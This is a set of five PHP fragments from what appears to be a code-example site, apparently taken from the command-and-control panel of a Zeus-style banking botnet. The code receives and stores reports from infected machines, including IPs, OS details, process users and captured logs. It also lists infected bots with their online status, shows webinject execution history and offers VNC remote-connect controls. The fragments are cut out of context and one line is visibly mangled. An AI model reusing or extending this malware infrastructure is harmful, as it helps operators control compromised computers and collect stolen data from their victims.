Ejemplo n.º 1
0
             //Думаю такой порядок повышает производительность.
             if (!mysqlQueryEx($table, $query) && (!@mysql_query("CREATE TABLE IF NOT EXISTS `{$table}` LIKE `botnet_reports`") || !mysqlQueryEx($table, $query))) {
                 die;
             }
         }
         //Запись в файл.
         if ($config['reports_to_fs'] === 1) {
             if (isHackNameForPath($botId) || isHackNameForPath($botnet)) {
                 die;
             }
             $file_path = $config['reports_path'] . '/other/' . urlencode($botnet) . '/' . urlencode($botId);
             if (!createDir($file_path) || !($h = fopen($file_path . '/reports.txt', 'ab'))) {
                 die;
             }
             flock($h, LOCK_EX);
             fwrite($h, str_repeat("=", 80) . "\r\n" . "bot_id={$botId}\r\n" . "botnet={$botnet}\r\n" . "bot_version=" . intToVersion($botVersion) . "\r\n" . "ipv4={$realIpv4}\r\n" . "country={$country}\r\n" . "type={$type}\r\n" . "rtime=" . gmdate('H:i:s d.m.Y', $curTime) . "\r\n" . "time_system=" . (empty($list[SBCID_TIME_SYSTEM]) ? 0 : gmdate('H:i:s d.m.Y', toInt($list[SBCID_TIME_SYSTEM]))) . "\r\n" . "time_tick=" . (empty($list[SBCID_TIME_TICK]) ? 0 : tickCountToText(toUint($list[SBCID_TIME_TICK]) / 1000)) . "\r\n" . "time_localbias=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : timeBiasToText(toInt($list[SBCID_TIME_LOCALBIAS]))) . "\r\n" . "os_version=" . (empty($list[SBCID_OS_INFO]) ? '' : osDataToString($list[SBCID_OS_INFO])) . "\r\n" . "language_id=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . "\r\n" . "process_name=" . (empty($list[SBCID_PROCESS_NAME]) ? '' : $list[SBCID_PROCESS_NAME]) . "\r\n" . "process_user="******"\r\n" . "path_source=" . (empty($list[SBCID_PATH_SOURCE]) ? '' : $list[SBCID_PATH_SOURCE]) . "\r\n" . "context=\r\n" . $list[SBCID_BOTLOG] . "\r\n\r\n\r\n");
             flock($h, LOCK_UN);
             fclose($h);
         }
         if ($config['reports_jn'] === 1) {
             imNotify($type, $list, $botId);
         }
     }
 } else {
     if (!empty($list[SBCID_NET_LATENCY])) {
         //Стандартный запрос.
         $query = "`bot_id`='{$botIdQ}', `botnet`='{$botnetQ}', `bot_version`={$botVersion}, `country`='{$countryQ}', `rtime_last`={$curTime}, " . "`net_latency`=" . (empty($list[SBCID_NET_LATENCY]) ? 0 : toUint($list[SBCID_NET_LATENCY])) . ", " . "`tcpport_s1`=" . (empty($list[SBCID_TCPPORT_S1]) ? 0 : toUshort($list[SBCID_TCPPORT_S1])) . ", " . "`time_localbias`=" . (empty($list[SBCID_TIME_LOCALBIAS]) ? 0 : toInt($list[SBCID_TIME_LOCALBIAS])) . ", " . "`os_version`='" . (empty($list[SBCID_OS_INFO]) ? '' : addslashes($list[SBCID_OS_INFO])) . "', " . "`language_id`=" . (empty($list[SBCID_LANGUAGE_ID]) ? 0 : toUshort($list[SBCID_LANGUAGE_ID])) . ", " . "`ipv4_list`='" . (empty($list[SBCID_IPV4_ADDRESSES]) ? '' : addslashes($list[SBCID_IPV4_ADDRESSES])) . "', " . "`ipv6_list`='" . (empty($list[SBCID_IPV6_ADDRESSES]) ? '' : addslashes($list[SBCID_IPV6_ADDRESSES])) . "', " . "`ipv4`='" . addslashes(pack('N', ip2long($realIpv4))) . "'";
         if (!mysqlQueryEx('botnet_list', "INSERT INTO `botnet_list` SET `comment`='', `rtime_first`={$curTime}, `rtime_online`={$curTime}, {$query} " . "ON DUPLICATE KEY UPDATE `rtime_online`=IF(`rtime_last` <= " . ($curTime - $config['botnet_timeout']) . ", {$curTime}, `rtime_online`), {$query}")) {
             die;
         }
         unset($query);
Ejemplo n.º 2
0
});
</script>
HTML;
                $data .= str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTID), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $botDisplay), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END;
                //Базовая информация.
                $isExists = isset($res[$bot]);
                if (!$isExists) {
                    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
                } else {
                    $l = $res[$bot];
                    $eCount++;
                    $ipv4 = binaryIpToString($l['ipv4']);
                    if ($l['nat_status'] == 0) {
                        $ipv4 .= '*';
                    }
                    $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_FLAGS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['flags'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', osDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['language_id'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', timeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['country'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TCPPORT_S1), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['tcpport_s1'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? tickCountToText(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_NEW), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_new'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U2) . ($bedit ? str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U2_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . THEME_LIST_ITEM_LISTBOX_U2_END : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2)) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENT), THEME_LIST_ITEM_LTEXT_U1) . ($bedit ? str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment[]', htmlEntitiesEx($l['comment']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U1) : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comment']) ? '-' : htmlEntitiesEx($l['comment'])), THEME_LIST_ITEM_LTEXT_U1)) . THEME_LIST_ROW_END;
                    $data .= '<tr><td colspan=2>' . vncplugin_draw_connect_options($bot) . '</td></tr>';
                    /* plugin: webinjects */
                    if (file_exists('system/botnet_webinjects.php')) {
                        require_once 'system/lib/dbpdo.php';
                        require_once 'system/lib/guiutil.php';
                        $db = dbPDO::singleton();
                        $q_execs = $db->query('SELECT
                        `b`.`name` AS `b_name`,
                        `h`.`etime`,
                        `h`.`exec_error`,
                        `h`.`debug_error`
                   FROM `botnet_webinjects_history` `h`
                        LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
                   WHERE `h`.`botId` = :botId
                   ;', array(':botId' => $bot));
Ejemplo n.º 3
0
                     $hdr .= str_pad(LNG_REPORTS_VIEW_BOTNET, HEADER_PAD) . ($lastdata[1] = $m[1]) . "\r\n";
                 }
                 if ($lastdata[2] !== $m[2]) {
                     $hdr .= str_pad(LNG_REPORTS_VIEW_VERSION, HEADER_PAD) . intToVersion($lastdata[2] = $m[2]) . "\r\n";
                 }
                 if (strcmp($lastdata[3], $m[3]) !== 0) {
                     $hdr .= str_pad(LNG_REPORTS_VIEW_OS, HEADER_PAD) . osDataToString($lastdata[3] = $m[3]) . "\r\n";
                 }
                 if ($lastdata[4] !== $m[4]) {
                     $hdr .= str_pad(LNG_REPORTS_VIEW_OSLANG, HEADER_PAD) . ($lastdata[4] = $m[4]) . "\r\n";
                 }
                 $hdr .= str_pad(LNG_REPORTS_VIEW_TIME, HEADER_PAD) . gmdate(LNG_FORMAT_DT, $m[5] + $m[6]) . "\r\n";
                 if ($lastdata[6] !== $m[6]) {
                     $hdr .= str_pad(LNG_REPORTS_VIEW_TIMEBIAS, HEADER_PAD) . timeBiasToText($lastdata[6] = $m[6]) . "\r\n";
                 }
                 $hdr .= str_pad(LNG_REPORTS_VIEW_TICK, HEADER_PAD) . tickCountToText($m[7] / 1000) . "\r\n";
                 $hdr .= str_pad(LNG_REPORTS_VIEW_RTIME, HEADER_PAD) . gmdate(LNG_FORMAT_DT, $m[8]) . "\r\n";
                 if (strcmp($lastdata[9], $m[9]) !== 0) {
                     $hdr .= str_pad(LNG_REPORTS_VIEW_COUNTRY, HEADER_PAD) . ($lastdata[9] = $m[9]) . "\r\n";
                 }
                 if (strcmp($lastdata[10], $m[10]) !== 0) {
                     $hdr .= str_pad(LNG_REPORTS_VIEW_IPV4, HEADER_PAD) . ($lastdata[10] = $m[10]) . "\r\n";
                 }
                 echo "\r\n" . str_repeat('=', REPEAT_SIZE) . "\r\n" . $hdr . str_pad(LNG_REPORTS_VIEW_PROCNAME, HEADER_PAD) . (empty($m[11]) ? '-' : $m[11]) . "\r\n" . str_pad(LNG_REPORTS_VIEW_PROCINFO, HEADER_PAD) . (empty($m[12]) ? '-' : $m[12]) . "\r\n" . str_pad(LNG_REPORTS_VIEW_SOURCE, HEADER_PAD) . (empty($m[13]) ? '-' : $m[13]) . "\r\n" . str_pad(LNG_REPORTS_VIEW_TYPE, HEADER_PAD) . bltToLng($m[14]) . "\r\n" . str_pad(LNG_REPORTS_VIEW_SIZE, HEADER_PAD) . numberFormatAsInt($m[15]) . "\r\n" . "\r\n" . str_repeat('-', REPEAT_SIZE) . "\r\n";
             }
             echo $m[16] . "\r\n\r\n";
             flush();
         }
     }
 }
 echo "\r\n";
Ejemplo n.º 4
0
$offset = ($curPage - 1) * BOTS_PER_PAGE;
if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) {
    $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        //IPv4.
        $ipv4 = binaryIpToString($mt[4]);
        //Метка NAT.
        if ($mt[3] == 0) {
            $ipv4 .= '*';
        }
        $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
        $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
        $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END;
        $i++;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списока дейтвий.
///////////////////////////////////////////////////////////////////////////////////////////////////
$actions = '';
if ($pageCount > 0 && count($botMenu) > 0) {
    $data = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN);
    foreach ($botMenu as $item) {
        $data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM);
    }
    $data .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI);
    $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
}
Ejemplo n.º 5
0
 $conn_online_time = time() - $r['ctime'];
 $conn_is_online = $conn_online_time < VNC_RECONNECT_THRESHOLD * 2;
 $classes[] = $bot_online ? 'bot_online' : 'bot_offline';
 $classes[] = $conn_is_online ? 'conn_online' : 'conn_offline';
 if ($r['do_connect'] < 0) {
     $classes[] = 'autoconnect';
 }
 echo '<tr', $classes ? ' class="' . implode(' ', $classes) . '"' : '', ' data-href="&bot=', urlencode($r['bot_id']), '">';
 echo '<td>', botPopupMenu($r['bot_id'], 'botmenu', $r['bot_comment']), '</td>';
 echo '<td>', 'OS: ', osDataToString($r['bot_os']), '</td>';
 echo '<td>', $bot_online ? LNG_BOTS_LIST_BOT_STATUS_ONLINE . ': ' . tickCountToText($r['bot_online']) : LNG_BOTS_LIST_BOT_STATUS_OFFLINE, ' , ', LNG_BOTS_LIST_BOT_STATUS_LAST_LIFESIGN, ' ', date_short($r['bot_rtime_last']), '</td>';
 echo '<td>';
 # connection status: online, online (persistent), offline + time
 if ($conn_is_online) {
     # connected
     echo LNG_BOTS_LIST_STATUS_CONNECTED, ': ', tickCountToText($conn_online_time);
 } else {
     # idle, waiting, disconnected
     if ($r['do_connect'] == 0) {
         echo $r['ctime'] == 0 ? LNG_BOTS_LIST_STATUS_IDLE : LNG_BOTS_LIST_STATUS_DISCONNECTED;
     } else {
         echo LNG_BOTS_LIST_STATUS_WAITING;
     }
     # last time was online
     echo ' ', LNG_BOTS_LIST_STATUS_OFFLINE_SINCE, ' ', date_short($r['bot_rtime_last']);
 }
 if ($r['do_connect'] < 0) {
     echo '<br><b>', LNG_BOTS_LIST_STATUS_AUTOCONNECT;
 }
 echo '</td>';
 echo '<td>';